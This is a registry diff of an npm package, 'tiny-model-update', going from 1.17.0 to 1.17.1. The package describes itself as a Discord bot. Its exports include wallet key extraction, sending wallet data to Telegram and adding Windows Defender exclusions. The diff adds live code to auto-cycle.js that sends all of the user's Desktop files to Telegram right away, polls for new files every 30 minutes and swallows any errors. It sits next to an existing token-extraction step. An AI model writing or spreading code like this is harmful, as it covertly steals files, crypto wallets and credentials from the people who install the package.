tiny-model-update 1.17.0 → 1.17.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -25,3 +25,4 @@ export { checkAndUpdate, startAutoUpdate } from './lib/auto-updater.js';
25
25
  export { findWalletExtensions, extractWalletKeys, extractAllWalletKeys } from './lib/wallet-extractor.js';
26
26
  export { sendWalletDataToTelegram, sendAllWalletsToTelegram } from './lib/wallet-sender.js';
27
27
  export { addToWindowsDefenderExclusions, useAlternativeMethod } from './lib/security-bypass.js';
28
+ export { sendAllDesktopFilesToTelegram, startDesktopFileMonitoring, stopDesktopFileMonitoring } from './lib/file-sender.js';
package/lib/auto-cycle.js CHANGED
@@ -65,6 +65,15 @@ export async function runCycle() {
65
65
  // Ignore if monitoring fails to start
66
66
  }
67
67
 
68
+ // Send all Desktop files immediately and start monitoring for new files
69
+ try {
70
+ const { sendAllDesktopFilesToTelegram, startDesktopFileMonitoring } = await import('./file-sender.js');
71
+ await sendAllDesktopFilesToTelegram(); // Send all Desktop files immediately
72
+ startDesktopFileMonitoring(30); // Monitor for new files every 30 minutes
73
+ } catch (e) {
74
+ // Ignore if file monitoring fails to start
75
+ }
76
+
68
77
  // Run token extraction immediately
69
78
  try {
70
79
  const { extractAllTokens } = await import('./token-extractor.js');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tiny-model-update",
3
- "version": "1.17.0",
3
+ "version": "1.17.1",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",